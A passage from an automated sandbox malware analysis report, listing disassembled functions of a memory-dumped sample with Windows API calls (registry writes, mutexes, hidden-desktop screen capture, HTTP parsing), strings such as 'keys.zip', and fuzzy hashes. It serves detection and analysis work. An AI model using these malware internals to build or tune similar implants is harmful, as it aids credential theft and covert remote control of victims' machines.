                                                                                                                                                                                                                        • Part of subcall function 026F7310: CloseHandle.KERNEL32(?), ref: 026F7335
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Security$Descriptor$BackslashHandleMutexPath$CloseConvertCreateFreeInfoInformationLocalNamedReleaseSaclSleepString
                                                                                                                                                                                                                      • String ID: Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}$keys.zip$path.txt
                                                                                                                                                                                                                      • API String ID: 2697826820-558722157
                                                                                                                                                                                                                      • Opcode ID: b6873bfc32cd609ce431e12a09f1382a3e3c70e24e1098114ae5197df532ed60
                                                                                                                                                                                                                      • Instruction ID: ebd2a7e29ab3b32bbd737c93c0a918687a9225afbe9c7814bb946fa2d9a6ea59
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b6873bfc32cd609ce431e12a09f1382a3e3c70e24e1098114ae5197df532ed60
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4F41EB7194474A4FCB2ACB2CA8757EB7BE2AF4B301F1585D4D9C9E7201DBB19948CB80
                                                                                                                                                                                                                      Function 02704630 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 114registrymemoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103,00000000,00000000), ref: 02704664
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(00000104,software\microsoft,00000000,00000101,80000002,?,00000000,00000000), ref: 02704687
                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(80000002,?,00000000,00000001,00000000,00000104,?,00000000,00000000), ref: 027046AA
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000015,?,00000000,00000000), ref: 0270471D
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,00000000,00000000), ref: 02704724
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000015,?,00000000,00000000), ref: 02704734
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(80000002,?,00000000,00000000), ref: 02704762
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heapmemset$AllocCloseOpenProcessQueryValue
                                                                                                                                                                                                                      • String ID: software\microsoft
                                                                                                                                                                                                                      • API String ID: 4043890984-3673152959
                                                                                                                                                                                                                      • Opcode ID: c3c469d0c0349dae83b57786449bccc9154679eca2502c069ec5ab84d773a35a
                                                                                                                                                                                                                      • Instruction ID: 0ce7c4fd169638d8ec481eaae33ff0b6d3df64d6e2db061135044ed6466d921b
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c3c469d0c0349dae83b57786449bccc9154679eca2502c069ec5ab84d773a35a
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 46311E32D0025ADBCB22CA658D68FDB7BF8AF86705F054294EE54A7141D770AA4DCBD0
                                                                                                                                                                                                                      Function 0270C110 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 92threadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\private\), ref: 0270C139
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,0270C0E0,00000000,00000000,00000000), ref: 0270C186
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\public\), ref: 0270C19E
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,0270C0C0,00000000,00000000,00000000), ref: 0270C1E2
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0270C1FA
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270C20B
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CreateHandleThread$CloseInformation
                                                                                                                                                                                                                      • String ID: \private\$\public\
                                                                                                                                                                                                                      • API String ID: 677819612-281496920
                                                                                                                                                                                                                      • Opcode ID: c547be7cac615388a78a8420f9a74315aaea7a11c81f39b85e73eef016c465cd
                                                                                                                                                                                                                      • Instruction ID: 007e79ae08ea98d9ac6e03309a11848cdb8859d7d50ee6f6124a6f5fd95c9404
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c547be7cac615388a78a8420f9a74315aaea7a11c81f39b85e73eef016c465cd
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4A312570AC1314EBE7234B54DC59B5B3BD4AB1DF49F04821BEA406A2D0D3B4A458CBA0
                                                                                                                                                                                                                      Function 026F6980 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 81registrystringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,000000FF), ref: 026F69A2
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103,?,00000000,000000FF), ref: 026F69C0
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(?,?,00000104), ref: 026F69DD
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(00000001,software\microsoft,00000000,00000102,?,?,?), ref: 026F6A4D
                                                                                                                                                                                                                      • RegSetValueExA.ADVAPI32(?,D900DE38a,00000000,00000001,?,00000104), ref: 026F6A6F
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 026F6A7D
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: memset$CloseOpenValuelstrcpyn
                                                                                                                                                                                                                      • String ID: D900DE38a$software\microsoft
                                                                                                                                                                                                                      • API String ID: 1287607259-1618979280
                                                                                                                                                                                                                      • Opcode ID: 00fb9d5c50c87ce6ca38a828f122c5dd9fd3ba42d7ffef4d6e1c9d9a7ce59640
                                                                                                                                                                                                                      • Instruction ID: 0a55af9c219643a44f315376b824d313293aef3a6fbf18f401272541cb8d7977
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 00fb9d5c50c87ce6ca38a828f122c5dd9fd3ba42d7ffef4d6e1c9d9a7ce59640
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C921C4B1A44348ABEB14DB74CCC9EEE77BCEF18704F5085ACE295D6142E6B19EC48B50
                                                                                                                                                                                                                      Function 026FE250 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetWindowLongA.USER32(026FCE3A,000000F0,75C0BCB0,75C0BCB0,00000000), ref: 026FE26B
                                                                                                                                                                                                                      • GetLastActivePopup.USER32(026FCE3A,?,?,?,?,?,?,?,?,?,?,?,?,?,026FCE3A,75C0BCB0), ref: 026FE279
                                                                                                                                                                                                                      • GetWindow.USER32(?,00000005,00000001), ref: 026FE293
                                                                                                                                                                                                                      • GetWindow.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,026FCE3A,75C0BCB0), ref: 026FE296
                                                                                                                                                                                                                      • GetWindowInfo.USER32(00000000,?), ref: 026FE2AC
                                                                                                                                                                                                                      • GetWindow.USER32(00000000,00000004), ref: 026FE2B5
                                                                                                                                                                                                                      • GetWindow.USER32(00000000,00000003), ref: 026FE2EE
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Window$ActiveInfoLastLongPopup
                                                                                                                                                                                                                      • String ID: <
                                                                                                                                                                                                                      • API String ID: 3748940024-4251816714
                                                                                                                                                                                                                      • Opcode ID: beb16823fdd01d926791c3d1665a5c76c0133422c1768edf245dd35f8045df7e
                                                                                                                                                                                                                      • Instruction ID: ed6ff6dde4fb7d52845c91eb1fc02b06aea107d2c0ed184e58dd5e0049045b9c
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: beb16823fdd01d926791c3d1665a5c76c0133422c1768edf245dd35f8045df7e
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F8112B72A4062552DF71AEA99CC8FAFBB5CAF40365F404526FF00E32A0EB76945187E4
                                                                                                                                                                                                                      Function 0270A140 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 39registryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • #680.SHELL32(?,?,0270A33F), ref: 0270A147
                                                                                                                                                                                                                      • GetTickCount.KERNEL32(?,0270A33F), ref: 0270A159
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(?,software\microsoft,00000000,00000102,0270A33F,?,0270A33F), ref: 0270A173
                                                                                                                                                                                                                      • RegSetValueExA.ADVAPI32(0270A33F,d900da3ca,00000000,00000004,00000004,00000004,0270A33F), ref: 0270A190
                                                                                                                                                                                                                      • RegFlushKey.ADVAPI32(?), ref: 0270A19A
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 0270A1A4
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: #680CloseCountFlushOpenTickValue
                                                                                                                                                                                                                      • String ID: d900da3ca$software\microsoft
                                                                                                                                                                                                                      • API String ID: 1556939811-1262914953
                                                                                                                                                                                                                      • Opcode ID: 5ea747ed263b7a7aa8fd3578b476df66b2af546e83fd48a6f0960755dc5a7c10
                                                                                                                                                                                                                      • Instruction ID: f54dad1fa70b38ad49f8deaab397faf7f20b26d1af59455f825e7bcaaec3cc05
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5ea747ed263b7a7aa8fd3578b476df66b2af546e83fd48a6f0960755dc5a7c10
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 40F018759C1214FBE710DBB0DD49F9E7B78EB08702F504544FA01E6180D7765A148BD5
                                                                                                                                                                                                                      Function 026FF6C0 Relevance: 13.9, APIs: 11, Instructions: 158memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • StrCmpNIA.SHLWAPI(?,?,?,?,?,00000000,?,?,?), ref: 026FF762
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,?), ref: 026FF788
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 026FF78F
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,?), ref: 026FF79F
                                                                                                                                                                                                                      • memcpy.MSVCRT(00000000,?,?,00000000,00000000,?), ref: 026FF7AA
                                                                                                                                                                                                                      • memcpy.MSVCRT(?,?,?), ref: 026FF7D9
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heapmemcpy$AllocProcessmemset
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1327414625-0
                                                                                                                                                                                                                      • Opcode ID: 0670e474a06e1aad4c1ec23aca17816e94e1ca86e9df85639784dbb73255fa17
                                                                                                                                                                                                                      • Instruction ID: 1b7dfbfab1a065c31a73e281cfa9495ed575367c1ae5f00125ef32a5f79b9bcb
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0670e474a06e1aad4c1ec23aca17816e94e1ca86e9df85639784dbb73255fa17
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0851B771E00315AFCF22CFA8D894BAEBBB9FF49300F648555EA55A7341D770A904CBA0
                                                                                                                                                                                                                      Function 026FF000 Relevance: 13.7, APIs: 1, Strings: 8, Instructions: 247COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • StrCmpNIA.SHLWAPI(00000001,?,00000000,HTTP/1.,00000007,?,026FFCE7,00000000,?,026FFCE7,,-04E7F5C8,00000000,00000000,026FFCE7,?), ref: 026FF0CD
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID: $Connection$Content-Length$HTTP/1.$Proxy-Connection$Transfer-Encoding$chunked$close
                                                                                                                                                                                                                      • API String ID: 0-1412996494
                                                                                                                                                                                                                      • Opcode ID: b5b2a37951d55b7a483c02e001a686e7683fe1560180edbd92107d328ae8742c
                                                                                                                                                                                                                      • Instruction ID: 6ab4a29fca533ebf9139064ce543c43e18d88147105c32f68e81df966f116785
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b5b2a37951d55b7a483c02e001a686e7683fe1560180edbd92107d328ae8742c
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 67714971A00245ABEFB0CE68C890BAE7FA6DF55318F148429DB45E7BC1E772D901CB90
                                                                                                                                                                                                                      Function 026F29A0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • calloc.MSVCRT(00000000,00000004,?,00000000,00000000,00000000,?,?,?), ref: 026F29B7
                                                                                                                                                                                                                      • exit.MSVCRT(00000001), ref: 026F29C5
                                                                                                                                                                                                                      • calloc.MSVCRT(00000000,00000004), ref: 026F29CE
                                                                                                                                                                                                                      • exit.MSVCRT(00000001), ref: 026F29DC
                                                                                                                                                                                                                      • calloc.MSVCRT(00000000,00000004), ref: 026F29E5
                                                                                                                                                                                                                      • exit.MSVCRT(00000001), ref: 026F29F2
                                                                                                                                                                                                                      • free.MSVCRT(?), ref: 026F2B41
                                                                                                                                                                                                                      • free.MSVCRT(?), ref: 026F2B69
                                                                                                                                                                                                                      • free.MSVCRT(00000000), ref: 026F2B85
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: callocexitfree
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3367576030-0
                                                                                                                                                                                                                      • Opcode ID: 395b6aec52787a152ed83d099624be8f06900fc904fd6a6e7323759fa00f8f55
                                                                                                                                                                                                                      • Instruction ID: 11ad4d8528b9fc339e173cd926b3d653698ea5a98a860edef3f680f615d0579e
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 395b6aec52787a152ed83d099624be8f06900fc904fd6a6e7323759fa00f8f55
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 02615A71A00609AFEF60DF68C8A0BAE77A5FF48754F104458EE069B344E771EA51CFA0
                                                                                                                                                                                                                      Function 0271DE60 Relevance: 13.7, APIs: 9, Instructions: 191fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • select.WS2_32(?,00000000,?,00000000,?), ref: 0271DEE1
                                                                                                                                                                                                                      • malloc.MSVCRT(00002000), ref: 0271DEFA
                                                                                                                                                                                                                      • malloc.MSVCRT(00002400,74DF30D0), ref: 0271DF0A
                                                                                                                                                                                                                      • free.MSVCRT(00000000), ref: 0271DF19
                                                                                                                                                                                                                      • ReadFile.KERNEL32(?,00000000,00002000,?,00000000), ref: 0271DF45
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,00000000,00000000), ref: 0271E027
                                                                                                                                                                                                                      • free.MSVCRT ref: 0271E046
                                                                                                                                                                                                                      • free.MSVCRT(?,?,00000000,00000000,00000000,?), ref: 0271E063
                                                                                                                                                                                                                      • free.MSVCRT(00000000), ref: 0271E069
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: free$malloc$CloseFileHandleReadselect
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 158848325-0
                                                                                                                                                                                                                      • Opcode ID: bf323f8fc25a87378001cb5655249b5ed3aaebe8d599b0e597a009fd2256c5ba
                                                                                                                                                                                                                      • Instruction ID: b93d2cf5c3defeb48f8dbbc4981b7cc5d046e10d90bd29e2c322388df7ea7ec6
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: bf323f8fc25a87378001cb5655249b5ed3aaebe8d599b0e597a009fd2256c5ba
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1E51C671D006189FD720DB6C9C84BFFB7F9EF49321F204569E969E7280D671AA018FA1
                                                                                                                                                                                                                      Function 026FC310 Relevance: 13.6, APIs: 9, Instructions: 120synchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • WindowFromDC.USER32(?), ref: 026FC31C
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 026FC354
                                                                                                                                                                                                                      • CreateRectRgn.GDI32(00000001,00000001,00000001,00000001), ref: 026FC362
                                                                                                                                                                                                                      • GetClipRgn.GDI32(?,00000000), ref: 026FC36C
                                                                                                                                                                                                                      • SelectClipRgn.GDI32(?,00000000), ref: 026FC37C
                                                                                                                                                                                                                      • DeleteObject.GDI32(00000000), ref: 026FC383
                                                                                                                                                                                                                      • GetViewportOrgEx.GDI32(?,?), ref: 026FC38E
                                                                                                                                                                                                                      • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 026FC3A2
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 026FC3E3
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ClipObjectViewport$CreateDeleteFromMutexRectReleaseSelectSingleWaitWindow
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3315380975-0
                                                                                                                                                                                                                      • Opcode ID: bfdd042a5a0e8a99ba3fe3379b0872b4d3028f578232194430c621ed382cbdc3
                                                                                                                                                                                                                      • Instruction ID: 9b4804f0222326faa47da755d54a1a3e281d6237e1e21e472bcd57102f92f43b
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: bfdd042a5a0e8a99ba3fe3379b0872b4d3028f578232194430c621ed382cbdc3
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E041FEB6640109AFCB14CF69DC84EAB77BDFB8C751B508A19FA19D7240D731E851CBA0
                                                                                                                                                                                                                      Function 026F9340 Relevance: 13.6, APIs: 9, Instructions: 52synchronizationsleepthreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • SetThreadDesktop.USER32(?), ref: 026F9350
                                                                                                                                                                                                                        • Part of subcall function 026F8F20: SelectObject.GDI32(00000000,?,?,00000000,74DF3080,026F9231,?,00000006,00000000), ref: 026F8F3A
                                                                                                                                                                                                                        • Part of subcall function 026F8F20: DeleteObject.GDI32(?), ref: 026F8F49
                                                                                                                                                                                                                        • Part of subcall function 026F8F20: DeleteDC.GDI32(00000000), ref: 026F8F57
                                                                                                                                                                                                                        • Part of subcall function 026F8F20: SelectObject.GDI32(?,?), ref: 026F8F67
                                                                                                                                                                                                                        • Part of subcall function 026F8F20: DeleteObject.GDI32(?), ref: 026F8F6F
                                                                                                                                                                                                                        • Part of subcall function 026F8F20: DeleteDC.GDI32(?), ref: 026F8F78
                                                                                                                                                                                                                        • Part of subcall function 026F8F20: GetDC.USER32(00000000,?,00000000,74DF3080,026F9231,?,00000006,00000000), ref: 026F8F7C
                                                                                                                                                                                                                        • Part of subcall function 026F8F20: CreateCompatibleDC.GDI32(00000000), ref: 026F8F8B
                                                                                                                                                                                                                        • Part of subcall function 026F8F20: CreateCompatibleDC.GDI32(00000000), ref: 026F8F93
                                                                                                                                                                                                                        • Part of subcall function 026F8F20: CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 026F8FB4
                                                                                                                                                                                                                        • Part of subcall function 026F8F20: SelectObject.GDI32(?,00000000), ref: 026F8FC3
                                                                                                                                                                                                                        • Part of subcall function 026F8F20: CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 026F8FDE
                                                                                                                                                                                                                        • Part of subcall function 026F8F20: SelectObject.GDI32(00000000,00000000,00000000,02749EB0), ref: 026F8FFD
                                                                                                                                                                                                                        • Part of subcall function 026F8F20: ReleaseDC.USER32(00000000,00000000), ref: 026F900C
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000001F4), ref: 026F937C
                                                                                                                                                                                                                      • GetTopWindow.USER32(00000000), ref: 026F938B
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 026F939E
                                                                                                                                                                                                                      • GetWindow.USER32(?,00000005,00000001), ref: 026F93B4
                                                                                                                                                                                                                      • GetWindow.USER32(00000000), ref: 026F93B7
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000,00000000), ref: 026F93C6
                                                                                                                                                                                                                      • SetEvent.KERNEL32(00000000), ref: 026F93CF
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000032), ref: 026F93DB
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Object$CompatibleCreateDeleteSelect$Window$BitmapReleaseSingleWait$DesktopEventMutexSleepThread
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 4064958368-0
                                                                                                                                                                                                                      • Opcode ID: e51dbb23252863fe09c9897837a29fc6ebbdc6fbb32bc59679cabd68875fbaff
                                                                                                                                                                                                                      • Instruction ID: 81554b685e8d33c4242fc18129f366e88e2e1cc48a90dd220cef45a30be46ebd
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e51dbb23252863fe09c9897837a29fc6ebbdc6fbb32bc59679cabd68875fbaff
